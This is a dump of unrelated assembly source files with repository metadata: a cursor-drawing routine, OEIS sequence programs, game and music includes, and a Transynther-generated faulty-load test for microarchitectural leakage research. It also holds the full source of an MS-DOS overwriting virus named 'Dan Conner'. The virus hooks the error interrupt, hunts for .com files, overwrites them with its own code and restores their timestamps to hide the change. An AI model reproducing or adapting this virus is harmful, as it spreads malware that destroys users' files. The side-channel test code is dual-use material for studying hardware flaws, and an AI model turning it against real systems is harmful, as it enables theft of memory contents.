cmp ax, Graphics.cursorWidth
jge .nextRow
; set wIcol and wIcolScreen
mov [wIcol], ax
mov ax, [wIcolScreen]
inc ax
mov [wIcolScreen], ax
jmp .loop
.nextRow:
; reset wIcol and wIcolScreen
xor ax, ax
mov [wIcol], ax
mov ax, [Mouse.wMouseX]
mov [wIcolScreen], ax
; increment wIrow
mov ax, [wIrow]
inc ax
cmp ax, Graphics.cursorHeight
jge .endLoop
; set wIrow and wIrowScreen
mov [wIrow], ax
mov ax, [wIrowScreen]
inc ax
mov [wIrowScreen], ax
jmp .loop
.endLoop:
pop bx
pop si
pop di
pop es
endproc
Graphics.rgbyCursorShape:
db 255, 0, 0, 0, 0,
.w: db 255, 255, 0, 0, 0,
db 255, 255, 255, 0, 0,
db 255, 255, 255, 255, 0,
db 255, 255, 255, 255, 255,
db 255, 255, 255, 0, 0,
db 255, 0, 255, 255, 0,
db 0, 0, 255, 255, 0,
Graphics.cursorWidth equ .w - Graphics.rgbyCursorShape
Graphics.cursorHeight equ ($ - Graphics.rgbyCursorShape) / Graphics.cursorWidth
Graphics.rgbyAreaUnderCursor:
times Graphics.cursorHeight * Graphics.cursorWidth db 0
| 18.487324
| 90
| 0.59424
|
18d17ff99b507067bd781f3b752ac2c0a6c610f8
| 794
|
asm
|
Assembly
|
programs/oeis/141/A141883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/141/A141883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/141/A141883.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A141883: Primes congruent to 9 mod 20.
; 29,89,109,149,229,269,349,389,409,449,509,569,709,769,809,829,929,1009,1049,1069,1109,1129,1229,1249,1289,1409,1429,1489,1549,1609,1669,1709,1789,1889,1949,2029,2069,2089,2129,2269,2309,2389,2549,2609,2689,2729,2749,2789,2909,2969,3049,3089,3109,3169,3209,3229,3329,3389,3449,3469,3529,3709,3769,3889,3929,3989,4049,4129,4229,4289,4349,4409,4549,4649,4729,4789,4889,4909,4969,5009,5189,5209,5309,5449,5569,5669,5689,5749,5849,5869,6029,6089,6229,6269,6329,6389,6449,6469,6529,6569
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,8
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,12
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,2
sub $1,22
mul $1,2
add $1,33
mov $0,$1
| 33.083333
| 482
| 0.706549
|
c62229090e8fb58ca855ab09c7fd5acc9d793b3c
| 817
|
asm
|
Assembly
|
oeis/102/A102546.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/102/A102546.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/102/A102546.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A102546: Numbers t such that t1 is prime and t is a multiple of 10.
; Submitted by Jon Maiga
; 10,40,60,70,120,130,160,180,190,280,300,330,370,400,420,480,510,550,570,580,610,630,670,700,790,810,850,900,960,990,1030,1050,1060,1170,1180,1210,1230,1240,1260,1300,1390,1440,1510,1540,1560,1590,1600,1630,1690,1740,1830,1840,1870,1900,1930,1950,1980,2010,2020,2100,2110,2140,2160,2170,2250,2290,2320,2380,2400,2530,2560,2580,2650,2670,2680,2770,2790,2800,2820,2890,2910,2920,2940,2950,3160,3240,3280,3330,3360,3430,3450,3520,3540,3580,3690,3720,3750,3820,3850,3930
mov $2,$0
add $2,2
pow $2,2
lpb $2
mov $3,$1
add $1,26
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,74
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
div $0,100
mul $0,10
| 35.521739
| 467
| 0.707466
|
2291f919b1fb19914ecc301b36a876d449757eb8
| 1,660
|
asm
|
Assembly
|
src/compressed-boss1-code.asm
|
santiontanon/triton
|
b3f7374852e8bf3077f647a8abaf71bb4bcb9874
|
[
"Apache-2.0"
] | 41
|
2020-07-13T01:47:20.000Z
|
2022-03-31T07:04:54.000Z
|
src/compressed-boss1-code.asm
|
santiontanon/triton
|
b3f7374852e8bf3077f647a8abaf71bb4bcb9874
|
[
"Apache-2.0"
] | null | null | null |
src/compressed-boss1-code.asm
|
santiontanon/triton
|
b3f7374852e8bf3077f647a8abaf71bb4bcb9874
|
[
"Apache-2.0"
] | 3
|
2020-10-28T18:46:35.000Z
|
2022-01-09T21:20:15.000Z
|
include "constants.asm"
include "autogenerated/text-constants.asm"
; the first time this is compiled, we need a few symbols to be defined
; to bootstrap the process. Comment the inclusion of trition.zym and Uncomment these
; constant definition lines:
include "../triton.sym"
player_y: equ player_sprite_attributes
player_x: equ player_sprite_attributes+1
; decompress_boss1_tiles_plt_from_page1: equ 0
; boss1_sprites_plt: equ 0
; boss1_frames_plt: equ 0
; SFX_big_explosion: equ 0
; wave_types: equ 0
; boss_hit_gfx: equ 0
; buffer3: equ 0
; boss1_frames: equ 0
; boss_state: equ 0
; boss_state_cycle: equ 0
; boss_x: equ 0
; boss_y: equ 0
; boss_polyphemus_leg_frame: equ 0
; boss_polyphemus_arm_frame: equ 0
; boss_polyphemus_eye_frame: equ 0
; boss_target_y: equ 0
; enemy_sprite_attributes: equ 0
; boss_laser_length: equ 0
; boss_laser_last_length: equ 0
; boss_laser_last_ptr: equ 0
; boss_polyphemus_moving_direction: equ 0
; boss_previous_ptr: equ 0
; init_boss_base: equ 0
; update_boss_check_if_hit: equ 0
; update_boss_explosion: equ 0
; update_boss_fire_bullet: equ 0
; update_boss_clear_laser: equ 0
; get_boss_ptr: equ 0
; update_boss_draw_thruster: equ 0
; update_boss_draw_laser: equ 0
; unpack_compressed: equ 0
; fast_LDIRVM: equ 0
; StopMusic: equ 0
; play_SFX_with_high_priority: equ 0
; random: equ 0
; spawn_enemy_wave: equ 0
; clear_tile_enemy: equ 0
; copy_non_empty_enemy_tiles: equ 0
org BOSS_COMPRESSED_CODE_START
include "boss-polyphemus.asm"
| 29.642857
| 85
| 0.704217
|
c2a5a7e64d954363454b5a5dbcbd5ea9afcf1832
| 252
|
asm
|
Assembly
|
ChaosTheory/ChaosTheory/Binary/music.asm
|
spheenik/conspiracy
|
26e35b31513f1808b7683eb41f71d387cbaca325
|
[
"BSD-2-Clause"
] | 19
|
2016-04-05T17:11:00.000Z
|
2022-03-07T13:15:42.000Z
|
ChaosTheory/ChaosTheory/Binary/music.asm
|
spheenik/conspiracy
|
26e35b31513f1808b7683eb41f71d387cbaca325
|
[
"BSD-2-Clause"
] | null | null | null |
ChaosTheory/ChaosTheory/Binary/music.asm
|
spheenik/conspiracy
|
26e35b31513f1808b7683eb41f71d387cbaca325
|
[
"BSD-2-Clause"
] | 4
|
2016-09-13T11:55:02.000Z
|
2021-06-01T11:24:16.000Z
|
;----------------------------------------
%macro include_binary 2
global %1
%1 incbin %2
%1end:
global %1_size
%1_size dd %1end - %1
%endmacro
;----------------------------------------
section .data
include_binary _music, "music.mvm"
| 16.8
| 42
| 0.440476
|
84fe7703a6177d5ee970a87ac8df345880ac54d6
| 3,980
|
asm
|
Assembly
|
MSDOS/Virus.MSDOS.Unknown.dan.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:13.000Z
|
2022-03-16T09:11:05.000Z
|
MSDOS/Virus.MSDOS.Unknown.dan.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | null | null | null |
MSDOS/Virus.MSDOS.Unknown.dan.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:15.000Z
|
2022-01-08T20:51:04.000Z
|
; Dan Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M dan.asm
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
start:
db 0e9h,0,0 ; Jump to the next command
virus:
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [oldint24],bx ; Save it
mov word ptr [oldint24+2],es
mov ah,25h ; Set new int 24 handler
mov dx,offset int24 ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov dx,offset comfilespec
call findfirst
mov ah,9 ; Display string
mov dx,offset virusname
int 21h
mov ax,2524h ; Restore int 24 handler
mov dx,offset oldint24 ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
int 20h ; quit program
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
quitinfect:
ret
FinishInfection:
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write virus to file
mov cx,eof-virus ; Size of virus
mov dx,100
int 21h
closefile:
mov ax,5701h ; Set files date/time back
push bx
mov cx,word ptr [bx]+16h ; Get old time from dta
mov dx,word ptr [bx]+18h ; Get old date
pop bx
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov bx,80h
mov cl,byte ptr [bx]+15h ; Get old Attributes
call attributes
retn
open:
mov ah,3dh ; open file
mov dx,80h+30
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
mov dx,80h+30
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Dan Conner - Anything You Say Dear...',10,13
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this
db 'Hey: I LOVE ROSEANNE!','$'
comfilespec db '*.com',0 ; Holds type of file to look for
eof equ $ ; Marks the end of file
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
| 32.622951
| 87
| 0.392462
|
198eca17a6bf5337e984e1815b800decfb213f73
| 922
|
asm
|
Assembly
|
programs/oeis/092/A092769.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/092/A092769.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/092/A092769.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A092769: Squares of A006450: a(n) = prime(prime(n))^2.
; 9,25,121,289,961,1681,3481,4489,6889,11881,16129,24649,32041,36481,44521,58081,76729,80089,109561,124609,134689,160801,185761,212521,259081,299209,316969,344569,358801,380689,502681,546121,597529,635209,737881,769129,844561,935089,982081,1062961,1129969,1181569,1329409,1371241,1442401,1481089,1682209,1985281,2053489,2093809,2163841,2247001,2319529,2550409,2627641,2785561,2968729,3031081,3193369,3323329,3411409,3659569,4108729,4255969,4330561,4405801,4932841,5148361,5480281,5527201,5669161,5841889,6135529,6497401,6806881,7006609,7198489,7392961,7557001,7856809,8392609,8462281,9006001,9114361,9406489,9665881,10042561,10426441,10621081,10883401,11015761,11607649,12033961,12369289,12666481,12909649,13227769,13935289,14145121,15295921
seq $0,40 ; The prime numbers.
mov $2,$0
sub $2,1
mov $0,$2
seq $0,6005 ; The odd prime numbers together with 1.
pow $0,2
| 92.2
| 741
| 0.821041
|
ede8484a15eead830274e00f1f8b5b03e7d24103
| 312
|
asm
|
Assembly
|
data/wild/maps/SafariZoneEast.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | 1
|
2022-02-15T00:19:44.000Z
|
2022-02-15T00:19:44.000Z
|
data/wild/maps/SafariZoneEast.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
data/wild/maps/SafariZoneEast.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
SafariZoneEastWildMons:
def_grass_wildmons 30 ; encounter rate
db 44, NIDORAN_M
db 46, DODUO
db 45, PARAS
db 45, NIDORINA
db 43, NIDORINO
db 43, EXEGGCUTE
db 44, NIDORAN_F
db 45, PARASECT
db 45, KANGASKHAN
db 48, SCYTHER
end_grass_wildmons
def_water_wildmons 0 ; encounter rate
end_water_wildmons
| 18.352941
| 39
| 0.772436
|
9fabfa794bb00630bbafb0cc3461c27122a8127c
| 6,390
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_1255_1553.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_1255_1553.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_1255_1553.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1c448, %r9
nop
nop
sub %r8, %r8
mov $0x6162636465666768, %r10
movq %r10, (%r9)
nop
nop
nop
nop
nop
cmp $3368, %rbx
lea addresses_UC_ht+0xcc48, %rsi
lea addresses_WT_ht+0x1d528, %rdi
clflush (%rdi)
cmp $6844, %rdx
mov $26, %rcx
rep movsb
xor $52268, %rbx
lea addresses_normal_ht+0x110d8, %r10
add $49169, %rsi
mov $0x6162636465666768, %r9
movq %r9, %xmm6
vmovups %ymm6, (%r10)
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r8
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_PSE+0xb048, %rbx
cmp %rax, %rax
mov $0x5152535455565758, %rsi
movq %rsi, (%rbx)
nop
nop
nop
inc %rsi
// Store
mov $0xa88, %rax
nop
xor %rbx, %rbx
mov $0x5152535455565758, %r10
movq %r10, (%rax)
// Exception!!!
nop
mov (0), %r10
sub %rax, %rax
// Store
lea addresses_RW+0x1c048, %r8
dec %r11
mov $0x5152535455565758, %rax
movq %rax, (%r8)
nop
nop
nop
sub $45828, %r11
// Store
lea addresses_RW+0xeba1, %rsi
nop
add $43742, %r11
movw $0x5152, (%rsi)
and %r11, %r11
// Store
mov $0x3ec72a0000000748, %r11
nop
inc %rsi
mov $0x5152535455565758, %rax
movq %rax, (%r11)
nop
cmp %r10, %r10
// Store
lea addresses_UC+0x9a08, %r11
nop
nop
nop
nop
nop
dec %rsi
movl $0x51525354, (%r11)
add $49291, %r11
// Store
lea addresses_WT+0x12848, %rsi
nop
sub $38967, %r8
mov $0x5152535455565758, %rdi
movq %rdi, %xmm1
movups %xmm1, (%rsi)
nop
nop
nop
nop
sub %r8, %r8
// Faulty Load
lea addresses_RW+0x1c048, %r8
cmp $32064, %r11
mov (%r8), %di
lea oracles, %r10
and $0xff, %rdi
shlq $12, %rdi
mov (%r10,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r8
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'58': 1255}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 38.727273
| 2,999
| 0.652582
|
de5a341523c3d3d82680a1f55cd744cce647dec4
| 616
|
asm
|
Assembly
|
oeis/116/A116150.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/116/A116150.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/116/A116150.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A116150: a(n) = Sum_{j=1..n} (3^j + (-2)^j).
; 1,14,33,130,341,1134,3193,10010,29181,89254,264353,799890,2386021,7185374,21501513,64613770,193622861,581305494,1743042673,5230875650,15689131701,47074385614,141209175833,423655489530,1270910544541,3812843481734,11438306748993,34315367639410,102945208133381,308837413969854,926508662770153,2779533146589290,8338585123210221,25015784002745974,75047294742007313,225141998758483170,675425767210527061,2026277759761426094,6078832363024588473,18236498921593145050,54709493099740675901
add $0,3
mov $1,-2
pow $1,$0
mov $2,3
pow $2,$0
add $1,$2
div $1,6
sub $1,2
mov $0,$1
| 47.384615
| 481
| 0.818182
|
a61dd9b19ceeda43937ff2f468e7deca90b173d1
| 400
|
asm
|
Assembly
|
oeis/088/A088572.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/088/A088572.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/088/A088572.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A088572: Numbers n such that (2n+1)^2 - 2 is prime.
; Submitted by Christian Krause
; 1,2,3,4,6,7,9,10,13,14,16,17,18,21,23,24,27,30,31,34,35,37,38,44,46,51,53,58,59,60,63,65,67,69,72,77,80,84,86,88,91,95,102,105,108,111,115,116,118,119,123,126,128,129,132,133,136,139,142,146,149,150,151,154,156,157
add $0,1
mov $1,$0
seq $1,89623 ; Numbers n such that n^2 + 2n - 1 is prime.
mov $0,$1
div $0,2
| 40
| 216
| 0.6675
|
ed64658e39070f8c6c9bef4040b24c07239c5482
| 2,280
|
asm
|
Assembly
|
programs/oeis/017/A017396.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/017/A017396.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/017/A017396.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A017396: a(n) = (11*n)^8.
; 0,214358881,54875873536,1406408618241,14048223625216,83733937890625,360040606269696,1235736291547681,3596345248055296,9227446944279201,21435888100000000,45949729863572161,92170395205042176,174859124550883201,316348490636206336,549378366500390625,920664383502155776,1495315559180183521,2362226417735475456,3640577568861717121,5487587353600000000,8107665808844335041,11763130845074473216,16786655174842630561,23595621172490797056,32708569488525390625,44763935885026099456,60541279401415837761,80985213602868822016,107232261306583856641,140640861824100000000,182824768400781863521,235690082176551878656,301476177634896948321,382800783150126981376,482709488885812890625,604729962940281716736,752931165277996622401,931987857628599582976,1147250716178344681761,1404822362521600000000,1711639636983046173601,2075562447064149770496,2505469532410439724481,3011361496339065143296,3604471462609062890625,4297383724759713423616,5104160763985313449441,6040479020157644046336,7123773809250362976481,8373393789062500000000,9810765383781184081281,11459567586566681460736,13345917567985773647041,15498567526762454466816,17949113227957875390625,20732214682334418436096,23885829429301726030881,27451458894485467300096,31474408301602570324801,36004060626969600000000,41094165093613911202561,46803140710600157061376,53194395371827682204001,60336661037197280935936,68304345527688750390625,77177901474533618770176,87044212971310378878721,97997000486432507232256,110137244602142499110721,123573629154768100000000,138423004359639863953441,154810870512712119484416,172871882869572373683361,192750378311167135334656,214600924414215087890625,238588891552921493241856,264891048667250657304961,293696183341656238530816,325205746846812130518241,359634524805529600000000,397211334152689311549921,438179747067659820441856,482798842566317065173121,531343986448422341246976,584107640304759187890625,641400200297072569467136,703550866432496683421601,770908543062800676683776,843842771347424502531361,922744694427920100000000,1008028056070056028008001,1100130233538486636445696,1199513305477529806561281,1306665155580240243056896,1422100612836608250390625,1546362629160356875862016,1680023495202453252140641,1823686095168092921979136,1977985201462558877934081
pow $0,8
mul $0,214358881
| 380
| 2,224
| 0.944737
|
0a1c84893939b1eef43f53f59134ade71e54885d
| 376
|
asm
|
Assembly
|
programs/oeis/051/A051351.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/051/A051351.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/051/A051351.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A051351: a(n) = a(n-1) + sum of digits of n-th prime.
; 0,2,5,10,17,19,23,31,41,46,57,61,71,76,83,94,102,116,123,136,144,154,170,181,198,214,216,220,228,238,243,253,258,269,282,296,303,316,326,340,351,368,378,389,402,419,438,442,449,460,473,481,495,502,510,524
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,7605 ; Sum of digits of n-th prime.
add $1,$2
lpe
mov $0,$1
| 31.333333
| 206
| 0.646277
|
f313a161def69edb1bd3043774802f063c4cbf9e
| 1,529
|
asm
|
Assembly
|
Etapa 01/Aula 03 - Registradores e Instr. MOV/codes/a03e04.asm
|
bellorini/unioeste
|
8c3d1f1e26dc3680160820c7219954b6076c9d5e
|
[
"MIT"
] | 6
|
2021-11-03T20:19:10.000Z
|
2022-02-23T17:57:58.000Z
|
Etapa 01/Aula 03 - Registradores e Instr. MOV/codes/a03e04.asm
|
bellorini/unioeste
|
